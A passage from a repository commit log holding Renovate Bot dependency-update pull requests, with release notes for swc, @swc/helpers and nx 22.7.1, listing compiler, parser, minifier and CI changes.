Optimize underscore stripping in numeric literal hot path ([#​11670](https://github.com/swc-project/swc/issues/11670)) ([874338b](https://github.com/swc-project/swc/commit/874338b77f93b22cebc58d4ec4b43fe02bebb7e2)) - **(es/transformer)** Remove O(n^2) statement mutation hotspots ([#​11672](https://github.com/swc-project/swc/issues/11672)) ([bdc24b7](https://github.com/swc-project/swc/commit/bdc24b7fdc006c77f4b5303bf4ff903b71fd8bcb)) - **(es\_parser)** Byte-search lexer optimization pass ([#​11616](https://github.com/swc-project/swc/issues/11616)) ([607f2db](https://github.com/swc-project/swc/commit/607f2dbba4cdc681447657f07bda10c0533d0d7f)) - **(es\_parser)** Reduce lookahead and allocation overhead ([#​11673](https://github.com/swc-project/swc/issues/11673)) ([becd9b0](https://github.com/swc-project/swc/commit/becd9b0352db53611cd7ab3f922ff3b1f89d73fe)) - **(ts/fast-strip)** Avoid token capture in default transform path ([#​11668](https://github.com/swc-project/swc/issues/11668)) ([06aa0db](https://github.com/swc-project/swc/commit/06aa0db37d19ddec7f3255f92eef84f07c7f2d61)) ##### Refactor - **(es/minifier)** Use arguments data from scope ([#​11604](https://github.com/swc-project/swc/issues/11604)) ([4738539](https://github.com/swc-project/swc/commit/473853951651a013c896122b88d5fb7db43c2412)) ##### Testing - **(es/flow)** Add flow strip corpus correctness test ([#​11694](https://github.com/swc-project/swc/issues/11694)) ([cd5ed81](https://github.com/swc-project/swc/commit/cd5ed813da185d8aacc3d9bf7a64acb2e1c32116)) - **(es/parser)** Enforce full ecma fixture parity ([#​11637](https://github.com/swc-project/swc/issues/11637)) ([0bf8a46](https://github.com/swc-project/swc/commit/0bf8a4656011bdfeb80afb94fb8f2764739d099e)) - **(es/parser)** Expand flow strip fixture coverage ([#​11695](https://github.com/swc-project/swc/issues/11695)) ([e231262](https://github.com/swc-project/swc/commit/e23126212595d32265e0d4478592a15dc9e0ceef)) - **(es\_parser)** Add core snapshot suite ([#​11617](https://github.com/swc-project/swc/issues/11617)) ([23c56fe](https://github.com/swc-project/swc/commit/23c56fe60f60689994e3cc2b08301886cd0cea65)) - **(es\_parser)** De-arenaize ecma\_reuse fixture snapshots ([#​11639](https://github.com/swc-project/swc/issues/11639)) ([aa6727a](https://github.com/swc-project/swc/commit/aa6727a26dac1a8802ea06d35b5c3ac1ff7633f4)) - **(es\_parser)** Recover swc\_es\_parser benchmark coverage ([#​11640](https://github.com/swc-project/swc/issues/11640)) ([0f24ee1](https://github.com/swc-project/swc/commit/0f24ee1dfdea41e7e22218fd3bfc466772d557b7)) - Expand swc\_es\_parser snapshot suites (ecma-style) ([#​11621](https://github.com/swc-project/swc/issues/11621)) ([325170f](https://github.com/swc-project/swc/commit/325170fff9b5c99abe1da19ec63fe6d2d8c6a9bb)) - Move TS decorator fixtures out of proposal crate ([#​11723](https://github.com/swc-project/swc/issues/11723)) ([e29d58c](https://github.com/swc-project/swc/commit/e29d58c74b345dc783b8132bea15439f8dcd4119)) ##### Ci - Bump cargo-mono to 0.5.0 ([#​11605](https://github.com/swc-project/swc/issues/11605)) ([7118713](https://github.com/swc-project/swc/commit/7118713176d7d2c244c1c7c637dbfa7ffa37f167)) - Remove --no-verify flag from cargo mono publish ([02eb5ec](https://github.com/swc-project/swc/commit/02eb5ec20ea24a90c577991d6bb756b346c9c6a3)) - Optimize cargo-test matrix with cargo mono changed ([#​11681](https://github.com/swc-project/swc/issues/11681)) ([99e61c4](https://github.com/swc-project/swc/commit/99e61c4cc172b772437dcabcf8f937a8f24dc4bd)) - Bump cargo-mono to 0.5.3 ([#​11722](https://github.com/swc-project/swc/issues/11722)) ([b5272af](https://github.com/swc-project/swc/commit/b5272af0f80047ffb98a1eed5de1f1d391657aa2)) - Install zig for core ppc64le/s390x nightly cross builds ([#​11725](https://github.com/swc-project/swc/issues/11725)) ([09c4be0](https://github.com/swc-project/swc/commit/09c4be00656d2d64e80ffb0ae250c53db645a39c)) ### [`v1.15.18`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11518---2026-03-01) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.17...v1.15.18) ##### Bug Fixes - **(html/wasm)** Publish [@​swc/html-wasm](https://github.com/swc/html-wasm) for nodejs ([#​11601](https://github.com/swc-project/swc/issues/11601)) ([bd443f5](https://github.com/swc-project/swc/commit/bd443f582c553e9d898a1d5e7395abaad60b26d2)) ##### Documentation - Add AGENTS note about next-gen ast ([#​11592](https://github.com/swc-project/swc/issues/11592)) ([80b4be8](https://github.com/swc-project/swc/commit/80b4be872d85dc82cbb6e84c91fe102d807a2780)) - Add typescript-eslint AST compatibility note ([#​11598](https://github.com/swc-project/swc/issues/11598)) ([c7bfebe](https://github.com/swc-project/swc/commit/c7bfebec4fb691e6e49f3c3b7b257be178e7f238)) ##### Features - **(es/ast)** Add runtime arena crate and bootstrap swc\_es\_ast ([#​11588](https://github.com/swc-project/swc/issues/11588)) ([7a06d96](https://github.com/swc-project/swc/commit/7a06d967e43fe2f84078fc241bc655b41450d2c1)) - **(es/parser)** Add `swc_es_parser` ([#​11593](https://github.com/swc-project/swc/issues/11593)) ([f11fd70](https://github.com/swc-project/swc/commit/f11fd705ee84909f6b0f984b1b5fc35abf73ec05)) ##### Ci - Triage main CI breakage ([#​11589](https://github.com/swc-project/swc/issues/11589)) ([075af57](https://github.com/swc-project/swc/commit/075af578c46c0bfdb74c450c157d0e1753024a36)) ### [`v1.15.17`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11517---2026-02-26) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.13...v1.15.17) ##### Documentation - Add submodule update step before test runs ([#​11576](https://github.com/swc-project/swc/issues/11576)) ([81b22c3](https://github.com/swc-project/swc/commit/81b22c31d1acb447caae1a2d2bd530b2e6a40c26)) ##### Features - **(bindings)** Add html wasm binding and publish wiring ([#​11587](https://github.com/swc-project/swc/issues/11587)) ([b3869c3](https://github.com/swc-project/swc/commit/b3869c3ae2a592d4539f4cbfbabeaf615e55d69e)) - **(sourcemap)** Support safe scopes round-trip metadata ([#​11581](https://github.com/swc-project/swc/issues/11581)) ([de2a348](https://github.com/swc-project/swc/commit/de2a348daed80e47c75dabaf2f0ce945d850210a)) - Emit ECMA-426 source map scopes behind experimental flag ([#​11582](https://github.com/swc-project/swc/issues/11582)) ([2385a22](https://github.com/swc-project/swc/commit/2385a2279ee71abca3ae485d04a800e24bf55bae)) ### [`v1.15.13`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11513---2026-02-23) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.11...v1.15.13) ##### Bug Fixes - **(errors)** Avoid panic on invalid diagnostic spans ([#​11561](https://github.com/swc-project/swc/issues/11561)) ([b24b8e0](https://github.com/swc-project/swc/commit/b24b8e0253e4e2db4a36a2180906d65ee89495da)) - **(es/helpers)** Fix `_object_without_properties` crash on primitive values ([#​11571](https://github.com/swc-project/swc/issues/11571)) ([4f35904](https://github.com/swc-project/swc/commit/4f35904ebfc7d924b75635af4166dd8e2b26c069)) - **(es/jsx)** Preserve whitespace before HTML entities ([#​11521](https://github.com/swc-project/swc/issues/11521)) ([64be077](https://github.com/swc-project/swc/commit/64be077515ee15501b179ebe523fa68d2c29f905)) - **(es/minifier)** Do not merge if statements with different local variable values ([#​11518](https://github.com/swc-project/swc/issues/11518)) ([3e63627](https://github.com/swc-project/swc/commit/3e636273d4ba0563c9fa15736cfa4c57d80c943d)) - **(es/minifier)** Prevent convert\_tpl\_to\_str when there's emoji under es5 ([#​11529](https://github.com/swc-project/swc/issues/11529)) ([ff6cf88](https://github.com/swc-project/swc/commit/ff6cf88c88497881839ccb40fa18d33225971203)) - **(es/minifier)** Inline before merge if ([#​11526](https://github.com/swc-project/swc/issues/11526)) ([aa5a9ac](https://github.com/swc-project/swc/commit/aa5a9ac3ebae1f2a5775d980da65bc6a1c2574d7)) - **(es/minifier)** Preserve array join("") nullish semantics ([#​11558](https://github.com/swc-project/swc/issues/11558)) ([d477f61](https://github.com/swc-project/swc/commit/d477f61d85de8d88113e886f5e5d8076192ca76a)) - **(es/minifier)** Inline side-effect-free default params ([#​11564](https://github.com/swc-project/swc/issues/11564)) ([1babda7](https://github.com/swc-project/swc/commit/1babda721a42de7a85cd0da6f6231f9a67c54bfa)) - **(es/parser)** Fix generic arrow function in TSX mode ([#​11549](https://github.com/swc-project/swc/issues/11549)) ([366a16b](https://github.com/swc-project/swc/commit/366a16b4a469d61ca816ec8187d3d476a57860d7)) - **(es/react)** Preserve first-line leading whitespace with entities ([#​11568](https://github.com/swc-project/swc/issues/11568)) ([fc62617](https://github.com/swc-project/swc/commit/fc62617f31707bb464dc167d3317dcc705aecd4c)) - **(es/regexp)** Transpile unicode property escapes in RegExp constructor ([#​11554](https://github.com/swc-project/swc/issues/11554)) ([476d544](https://github.com/swc-project/swc/commit/476d544f911ea643fcc8434e46aaddd344fa49f8)) ##### Documentation - **(agents)** Clarify sandbox escalation for progress ([#​11574](https://github.com/swc-project/swc/issues/11574)) ([cb31d0d](https://github.com/swc-project/swc/commit/cb31d0da37b35858986ba63e0dab300555f8ec82)) ##### Features - **(es/minifier)** Add `unsafe_hoist_static_method_alias` option ([#​11493](https://github.com/swc-project/swc/issues/11493)) ([6e7dbe2](https://github.com/swc-project/swc/commit/6e7dbe234555f926f98d8714789b5cd4a5e65b3d)) - **(es/minifier)** Remove unused args for IIFE ([#​11536](https://github.com/swc-project/swc/issues/11536)) ([3cc286b](https://github.com/swc-project/swc/commit/3cc286b2f16489c8175faf5a72601c5be1376bdc)) ##### Refactor - **(es/parser)** Compare token kind rather than strings ([#​11531](https://github.com/swc-project/swc/issues/11531)) ([5872ffa](https://github.com/swc-project/swc/commit/5872ffa74a5b214bd6fd03732a26479118c41011)) - **(es/typescript)** Run typescript transform in two passes ([#​11532](https://github.com/swc-project/swc/issues/11532)) ([b069558](https://github.com/swc-project/swc/commit/b06955813af93cd784aad90e7e98ab06fb648438)) - **(es/typescript)** Precompute namespace import-equals usage in semantic pass ([#​11534](https://github.com/swc-project/swc/issues/11534)) ([b7e87c7](https://github.com/swc-project/swc/commit/b7e87c7b951cb8f62d6b22a5cfa2105310a91ccc)) ##### Testing - **(es/minifier)** Add execution tests for issue [#​11517](https://github.com/swc-project/swc/issues/11517) ([#​11530](https://github.com/swc-project/swc/issues/11530)) ([01b3b64](https://github.com/swc-project/swc/commit/01b3b648114ddb2e1e5ded32856397b996cb9fc2)) - Disable `cva` ecosystem ci temporariliy ([55bc966](https://github.com/swc-project/swc/commit/55bc966be4e2a393b926317e228f6d33eacb7715)) ##### Ci - Reset closed issue and PR milestone to Planned ([#​11559](https://github.com/swc-project/swc/issues/11559)) ([d5c4ebe](https://github.com/swc-project/swc/commit/d5c4ebe3d991b05697f01d8fb67efe7ad708a1f8)) - Add permission ([431c576](https://github.com/swc-project/swc/commit/431c5764b84d43fad0e30d25dcc0a8e049e8beae)) ### [`v1.15.11`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11511---2026-01-27) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.10...v1.15.11) ##### Bug Fixes - **(es/codegen)** Emit leading comments for JSX elements, fragments, and empty expressions ([#​11488](https://github.com/swc-project/swc/issues/11488)) ([1520633](https://github.com/swc-project/swc/commit/1520633549965eb6838c80d4389431074613bd0e)) - **(es/decorators)** Invoke addInitializer callbacks for decorated fields ([#​11495](https://github.com/swc-project/swc/issues/11495)) ([11cfe4d](https://github.com/swc-project/swc/commit/11cfe4deaea8c66cd1f78e8894b4df11ebdbe0f7)) - **(es/es3)** Visit export decl body even if name is not reserved ([#​11473](https://github.com/swc-project/swc/issues/11473)) ([9113fff](https://github.com/swc-project/swc/commit/9113fffc8cae6d379c5ce7bfd9f5373f6ee9a3aa)) - **(es/es3)** Remove duplicate code ([#​11499](https://github.com/swc-project/swc/issues/11499)) ([fbee775](https://github.com/swc-project/swc/commit/fbee7752443e491ce24b590e00d78677b7e4c8f4)) - **(es/minifier)** Treat new expression with empty class as side-effect free ([#​11455](https://github.com/swc-project/swc/issues/11455)) ([a33a45e](https://github.com/swc-project/swc/commit/a33a45e3bd4e6227d143174198d36f7cbc4b9f2b)) - **(es/minifier)** Escape control characters when converting strings to template literals ([#​11464](https://github.com/swc-project/swc/issues/11464)) ([028551f](https://github.com/swc-project/swc/commit/028551f4f0d00c3880df8af324d3b5eb2637cfb9)) - **(es/minifier)** Handle unused parameters with default values ([#​11494](https://github.com/swc-project/swc/issues/11494)) ([6ed1ee9](https://github.com/swc-project/swc/commit/6ed1ee9ca1e816aedfe0387d240479c1dbfcffef)) - **(es/module)** Preserve ./ prefix for hidden directory imports ([#​11489](https://github.com/swc-project/swc/issues/11489)) ([a005391](https://github.com/swc-project/swc/commit/a0053916e786711be01f73c767e3c2283c9fb4f6)) - **(es/parser)** Validate dynamic import argument count ([#​11462](https://github.com/swc-project/swc/issues/11462)) ([2f67591](https://github.com/swc-project/swc/commit/2f67591e2c9bb41a711d739e6bc81d20a673bfd6)) - **(es/parser)** Allow compilation with --no-default-features ([#​11460](https://github.com/swc-project/swc/issues/11460)) ([b70c5f8](https://github.com/swc-project/swc/commit/b70c5f8ade85c3e4a17e0fed61ce850ab6b1f53c)) - **(es/parser)** Skip emitting TS1102 in TypeScript mode ([#​11463](https://github.com/swc-project/swc/issues/11463)) ([e6f5b06](https://github.com/swc-project/swc/commit/e6f5b06561c1d87d0235aea5cfce9c253afdcc74)) - **(es/parser)** Reject ambiguous generic arrow functions in TSX mode ([#​11491](https://github.com/swc-project/swc/issues/11491)) ([ac00915](https://github.com/swc-project/swc/commit/ac00915ba027bbb2c805ad0abd8d945d7dcf4055)) - **(es/parser)** Disallow NumericLiteralSeparator with BigInts ([#​11510](https://github.com/swc-project/swc/issues/11510)) ([6b3644b](https://github.com/swc-project/swc/commit/6b3644b9ca58530a5e0bb92586bdf8210b89124f)) - **(es/react)** Preserve HTML entity-encoded whitespace in JSX ([#​11474](https://github.com/swc-project/swc/issues/11474)) ([7d433a9](https://github.com/swc-project/swc/commit/7d433a95ccc372535b4f5b9dc691cbd313c2f388)) - **(es/renamer)** Prevent duplicate parameter names with destructuring patterns ([#​11456](https://github.com/swc-project/swc/issues/11456)) ([e25a2c8](https://github.com/swc-project/swc/commit/e25a2c82db0e33c098a8ecd19bb933115e74ac1a)) - **(es/testing)** Skip update when expected output has invalid code ([#​11469](https://github.com/swc-project/swc/issues/11469)) ([2be6b8a](https://github.com/swc-project/swc/commit/2be6b8a1fe3f55c30655f82dcf0cf6c04aa9a331)) - **(es/typescript)** Don't mark enums with opaque members as pure ([#​11452](https://github.com/swc-project/swc/issues/11452)) ([b713fae](https://github.com/swc-project/swc/commit/b713fae8cc1b4fb7a45ffb4bf4a7e9d1facb651f)) - **(preset-env)** Distinguish unknown browser vs empty config ([#​11457](https://github.com/swc-project/swc/issues/11457)) ([1310957](https://github.com/swc-project/swc/commit/1310957bec15ce2352dcb2dde8adb77664625c69)) ##### Documentation - Replace swc.config.js references with .swcrc ([#​11485](https://github.com/swc-project/swc/issues/11485)) ([fec8d2c](https://github.com/swc-project/swc/commit/fec8d2cbb8e7f5eaaed369dd1b45347839fa0c18)) ##### Features - **(cli)** Add --root-mode argument for .swcrc resolution ([#​11501](https://github.com/swc-project/swc/issues/11501)) ([b53a0e2](https://github.com/swc-project/swc/commit/b53a0e2a98a7556c5f8a74270a717e4078793053)) - **(es/module)** Make module transforms optional via `module` feature ([#​11509](https://github.com/swc-project/swc/issues/11509)) ([b94a178](https://github.com/swc-project/swc/commit/b94a17851c9032e0e17c3c9912cfdb60d00722f4)) - **(es/regexp)** Implement unicode property escape transpilation ([#​11472](https://github.com/swc-project/swc/issues/11472)) ([a2e0ba0](https://github.com/swc-project/swc/commit/a2e0ba0151fdde2c11c093d3ab2960410f4ffb86)) - **(es/transformer)** Merge ES3 hooks into swc\_ecma\_transformer ([#​11503](https://github.com/swc-project/swc/issues/11503)) ([5efcac9](https://github.com/swc-project/swc/commit/5efcac946f5cf88e900da2867dc8b92c411bdd18)) ##### Miscellaneous Tasks - **(es/minifier)** Extend OrderedChain to support more node types ([#​11477](https://github.com/swc-project/swc/issues/11477)) ([aa9d789](https://github.com/swc-project/swc/commit/aa9d789953fc8e62e07b91e25137573d3a4d70d7)) ##### Performance - **(bindings)** Optimize string handling by avoiding unnecessary clones ([#​11490](https://github.com/swc-project/swc/issues/11490)) ([81daaaa](https://github.com/swc-project/swc/commit/81daaaa054a579fd2b425c5362b33ffc90471e6f)) - **(es/codegen)** Make `commit_pending_semi` explicit in `write_punct` ([#​11492](https://github.com/swc-project/swc/issues/11492)) ([5a27fc0](https://github.com/swc-project/swc/commit/5a27fc0c49872098339bf897957af5a6b459abf9)) - **(es/es2015)** Port ES2015 transforms to hook-based visitors ([#​11484](https://github.com/swc-project/swc/issues/11484)) ([a54eb0e](https://github.com/swc-project/swc/commit/a54eb0ef7518f759e52636162870f90233ef8532)) - **(es/es3)** Use hooks pattern for single AST traversal ([#​11483](https://github.com/swc-project/swc/issues/11483)) ([a139fba](https://github.com/swc-project/swc/commit/a139fba3b9aca632e02e64333312c989f10e0ef8)) - **(es/minifier)** Use combined AST traversal ([#​11471](https://github.com/swc-project/swc/issues/11471)) ([c611663](https://github.com/swc-project/swc/commit/c611663e9f22293233d5bd8084c3de703dec8b14)) - **(es/transformer)** Add inline hint ([#​11508](https://github.com/swc-project/swc/issues/11508)) ([d72c9df](https://github.com/swc-project/swc/commit/d72c9df7e390389c3f9a2645341f920c5d42d0db)) ##### Refactor - **(es/compat)** Put ES3 crates behind feature flag ([#​11480](https://github.com/swc-project/swc/issues/11480)) ([d5a8d84](https://github.com/swc-project/swc/commit/d5a8d8447a6a4517372a5d52151e6732d74a1ade)) ##### Testing - **(es/minifier)** Add test case for `merge_imports` order preservation ([#​11458](https://github.com/swc-project/swc/issues/11458)) ([b874a05](https://github.com/swc-project/swc/commit/b874a05d5cde160c4d40f0d73f871fdb1746a753)) - **(es/parser)** Add error tests for import.source and import.defer with too many args ([#​11466](https://github.com/swc-project/swc/issues/11466)) ([7313462](https://github.com/swc-project/swc/commit/731346282ebdb11fd3a1fb6b558cc83982e4afcb)) - **(es/parser)** Check `handler.has_errors()` in test error parsing ([#​11487](https://github.com/swc-project/swc/issues/11487)) ([fade647](https://github.com/swc-project/swc/commit/fade647452ed288d42336a4c5580b49bd4953e23)) - Replace deprecated `cargo_bin` function with `cargo_bin!` macro ([#​11461](https://github.com/swc-project/swc/issues/11461)) ([73f77b6](https://github.com/swc-project/swc/commit/73f77b6331b1501592315b78babcc96d9ae9b483)) ### [`v1.15.10`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11510---2026-01-19) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.8...v1.15.10) ##### Bug Fixes - **(ci)** Handle merged PRs separately in milestone manager ([#​11409](https://github.com/swc-project/swc/issues/11409)) ([3554268](https://github.com/swc-project/swc/commit/3554268dcb7c8af4abfe0a06e61a382a23c4a3eb)) - **(es/compat)** Preserve this context in nested arrow functions ([#​11423](https://github.com/swc-project/swc/issues/11423)) ([f2bdaf2](https://github.com/swc-project/swc/commit/f2bdaf27d869a6d54a3dd47cd47e63c5b39a4d5c)) - **(es/es2017)** Replace `this` in arrow functions during async-to-generator ([#​11450](https://github.com/swc-project/swc/issues/11450)) ([a993da6](https://github.com/swc-project/swc/commit/a993da6fb6e43bdbc2cd3a288c8b5be1b79e08c0)) ##### Features - **(bindings/wasm)** Enable ecma\_lints feature to support semantic error detection ([#​11414](https://github.com/swc-project/swc/issues/11414)) ([1faa4a5](https://github.com/swc-project/swc/commit/1faa4a57454ef3932c75a1aca7dd36e37bb215d3)) - **(es/hooks)** Implement VisitMutHook for Either type ([#​11428](https://github.com/swc-project/swc/issues/11428)) ([395c85e](https://github.com/swc-project/swc/commit/395c85e921eeb0cad661c8714d97372970cbfb6c)) - **(es/hooks)** Implement VisitMutHook for Option<H> ([#​11429](https://github.com/swc-project/swc/issues/11429)) ([0bf1954](https://github.com/swc-project/swc/commit/0bf195421de167b3a01f710be7578d1cedf033b9)) - **(es/hooks)** Add VisitHook trait for immutable AST visitors ([#​11437](https://github.com/swc-project/swc/issues/11437)) ([3efb41d](https://github.com/swc-project/swc/commit/3efb41d97e2cdb1d593c55c841c016eb2958ee72)) - **(es/minifier)** Improve nested template literal evaluation ([#​11411](https://github.com/swc-project/swc/issues/11411)) ([147df2f](https://github.com/swc-project/swc/commit/147df2f0233c4b701311675dc7c237ee18f0c854)) - **(es/minifier)** Remove inlined IIFE arg and param ([#​11436](https://github.com/swc-project/swc/issues/11436)) ([2bc5d40](https://github.com/swc-project/swc/commit/2bc5d402ade64f84523bfa7cf0c2da88ef494ad6)) - **(es/minifier)** Remove inlined IIFE arg and param ([#​11446](https://github.com/swc-project/swc/issues/11446)) ([baa1ae3](https://github.com/swc-project/swc/commit/baa1ae3510668f9969bf5cd73ba4e3d66aa74fa0)) ##### Miscellaneous Tasks - **(deps)** Update `rkyv` ([#​11419](https://github.com/swc-project/swc/issues/11419)) ([432197b](https://github.com/swc-project/swc/commit/432197bdc7c574fbd8829ad5a6e0b3108ccb1d3c)) - **(deps)** Update lru to 0.16.3 ([#​11438](https://github.com/swc-project/swc/issues/11438)) ([67c2d75](https://github.com/swc-project/swc/commit/67c2d752910c945732cf4deebf2af0f8a110e880)) - **(deps)** Update browserslist-data to v0.1.5 ([#​11454](https://github.com/swc-project/swc/issues/11454)) ([e9f78f0](https://github.com/swc-project/swc/commit/e9f78f032f7d85a500037cdc82babdcf2d2be99a)) - **(helpers)** Replace MagicString with ast-grep's built-in edit API ([#​11410](https://github.com/swc-project/swc/issues/11410)) ([a3f0d33](https://github.com/swc-project/swc/commit/a3f0d33916f7ad225d8320c499a8dd0f7b46e5b9)) - **(hstr/wtf8)** Address legacy FIXME comments by switching to derives ([#​11416](https://github.com/swc-project/swc/issues/11416)) ([f03bfd8](https://github.com/swc-project/swc/commit/f03bfd8dd15630acbcdb011d64bdea5c1a0ccf79)) ##### Performance - **(es/codegen, es/utils)** Migrate to dragonbox\_ecma for faster Number::toString ([#​11412](https://github.com/swc-project/swc/issues/11412)) ([b7978cc](https://github.com/swc-project/swc/commit/b7978cc9dbe92b26d781748d09ad50e2f1a6343b)) - **(es/react)** Optimize JSX transforms to reduce allocations ([#​11425](https://github.com/swc-project/swc/issues/11425)) ([2a20cb6](https://github.com/swc-project/swc/commit/2a20cb6e34bed4260efe2a1b87165f52f9b3d45c)) ##### Refactor - **(es)** Improve TypeScript transform configuration structure ([#​11434](https://github.com/swc-project/swc/issues/11434)) ([f33a975](https://github.com/swc-project/swc/commit/f33a975c74f63f8d8e3c05db5166912c432ae18b)) - **(es/minifier)** Migrate MinifierPass to Pass trait ([#​11442](https://github.com/swc-project/swc/issues/11442)) ([a41e631](https://github.com/swc-project/swc/commit/a41e63193c86290f20fec6529d7aa944562df713)) - **(es/minifier)** Improve tpl to str ([#​11415](https://github.com/swc-project/swc/issues/11415)) ([0239523](https://github.com/swc-project/swc/commit/0239523c3863f3c0c8f8a3c7d486b64213fc60ff)) - **(es/react)** Port to VisitMutHook ([#​11418](https://github.com/swc-project/swc/issues/11418)) ([9604d9c](https://github.com/swc-project/swc/commit/9604d9cc8a3d265d66ab32c1f70c25031b09cc18)) - **(es/transformer)** Remove OptionalHook wrapper in favor of Option<H> ([#​11430](https://github.com/swc-project/swc/issues/11430)) ([72da6bd](https://github.com/swc-project/swc/commit/72da6bdd526eff0fdde76f22a978cbec736b9d3c)) - **(es/transforms)** Migrate TypeScript transform to Pass trait ([#​11439](https://github.com/swc-project/swc/issues/11439)) ([dd007c6](https://github.com/swc-project/swc/commit/dd007c64a691d37f6d4903624a8dfa39d389f912)) ##### Testing - **(es)** Enable benchmark for `swc` ([#​11420](https://github.com/swc-project/swc/issues/11420)) ([3a50a25](https://github.com/swc-project/swc/commit/3a50a2592784a418ef3312b0f445bde2762959ca)) - Disable LTO for benchmarks ([#​11421](https://github.com/swc-project/swc/issues/11421)) ([af3c2d3](https://github.com/swc-project/swc/commit/af3c2d36d772eab7905db717f8be2080fd14abec)) - Use rstest as the test framework ([#​11417](https://github.com/swc-project/swc/issues/11417)) ([fae258f](https://github.com/swc-project/swc/commit/fae258f530d2f54fa148f90225e9a7740de57d96)) ##### Ci - Collapse preivous `claude[bot]` PR review comments ([affb6a2](https://github.com/swc-project/swc/commit/affb6a29de9a511148a3483149aa5a574720fccf)) </details> <details> <summary>swc-project/swc (@​swc/helpers)</summary> ### [`v0.5.21`](https://github.com/swc-project/swc/compare/c2f628aba81c4d9c9e41c31a70e593902828584b...52303ecaacdec85cac9b3200e1ab1dd3863d3f5c) [Compare Source](https://github.com/swc-project/swc/compare/c2f628aba81c4d9c9e41c31a70e593902828584b...52303ecaacdec85cac9b3200e1ab1dd3863d3f5c) ### [`v0.5.20`](https://github.com/swc-project/swc/compare/80296b38b16652f395db75bec0e80c87da0803ce...c2f628aba81c4d9c9e41c31a70e593902828584b) [Compare Source](https://github.com/swc-project/swc/compare/80296b38b16652f395db75bec0e80c87da0803ce...c2f628aba81c4d9c9e41c31a70e593902828584b) ### [`v0.5.19`](https://github.com/swc-project/swc/compare/3c24b02a9c63fa32dc8389c08a01f36249029da7...80296b38b16652f395db75bec0e80c87da0803ce) [Compare Source](https://github.com/swc-project/swc/compare/3c24b02a9c63fa32dc8389c08a01f36249029da7...80296b38b16652f395db75bec0e80c87da0803ce) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/19 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
0c6a3f2b27 |
chore(deps): update dependency nx to v22.7.1 (#15)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [nx](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/nx)) | devDependencies | patch | [`22.7.0` -> `22.7.1`](https://renovatebot.com/diffs/npm/nx/22.7.0/22.7.1) | --- ### Release Notes <details> <summary>nrwl/nx (nx)</summary> ### [`v22.7.1`](https://github.com/nrwl/nx/releases/tag/22.7.1) [Compare Source](https://github.com/nrwl/nx/compare/22.7.0...22.7.1) #### 22.7.1 (2026-04-28) ##### 🩹 Fixes - **core:** prevent spinner flicker when sync applying ([#​35445](https://github.com/nrwl/nx/pull/35445)) - **core:** exclude hyperfine env vars from daemon env reflection ([5095b4be7d](https://github.com/nrwl/nx/commit/5095b4be7d)) - **core:** provide actionable feedback when running migrations and pre-install fails with npm peer dep errors ([#​33961](https://github.com/nrwl/nx/pull/33961), [#​33942](https://github.com/nrwl/nx/issues/33942)) - **core:** consider virtual trees in multiGlobWithWorkspaceContext ([#​35447](https://github.com/nrwl/nx/pull/35447), [#​31805](https://github.com/nrwl/nx/issues/31805), [#​35373](https://github.com/nrwl/nx/issues/35373), [#​32588](https://github.com/nrwl/nx/issues/32588)) - **core:** surface ./nx --version stderr and force devDeps install ([#​35469](https://github.com/nrwl/nx/pull/35469)) - **core:** keep continuous children alive when nx:noop orchestrator completes ([#​35388](https://github.com/nrwl/nx/pull/35388)) - **core:** start TUI event reader synchronously in enter() to prevent stdin race ([#​35465](https://github.com/nrwl/nx/pull/35465), [#​34619](https://github.com/nrwl/nx/issues/34619), [#​34144](https://github.com/nrwl/nx/issues/34144)) - **core:** use require for global to local Nx handoff so Windows drive paths work ([#​35478](https://github.com/nrwl/nx/pull/35478)) - **core:** prevent daemon shutdown from cache-poisoned in-process nx loads ([#​35482](https://github.com/nrwl/nx/pull/35482), [#​35444](https://github.com/nrwl/nx/issues/35444), [#​34463](https://github.com/nrwl/nx/issues/34463), [#​34111](https://github.com/nrwl/nx/issues/34111)) - **detox:** generate valid JSON in .detoxrc for non-expo apps ([eb2fa8ced4](https://github.com/nrwl/nx/commit/eb2fa8ced4)) - **js:** include extended tsconfigs from project references in typecheck inputs ([#​35457](https://github.com/nrwl/nx/pull/35457)) - **linter:** detect root lint target added in same generator run ([#​35296](https://github.com/nrwl/nx/pull/35296), [#​23147](https://github.com/nrwl/nx/issues/23147), [#​34531](https://github.com/nrwl/nx/issues/34531)) - **misc:** exclude stories and specs from tailwind content scanning ([#​35470](https://github.com/nrwl/nx/pull/35470)) - **misc:** resolve pnpm catalog: refs in version lookups ([#​35459](https://github.com/nrwl/nx/pull/35459), [#​35453](https://github.com/nrwl/nx/issues/35453)) - **nextjs:** use cached project graph in withNx ([#​35475](https://github.com/nrwl/nx/pull/35475), [#​34518](https://github.com/nrwl/nx/issues/34518), [#​32880](https://github.com/nrwl/nx/issues/32880)) - **node:** include tsconfig input in node-app esbuild scaffold ([#​35466](https://github.com/nrwl/nx/pull/35466)) - **release:** handle short and full project names in commit scopes ([#​34219](https://github.com/nrwl/nx/pull/34219)) - **testing:** convert executor-based jest.config.ts 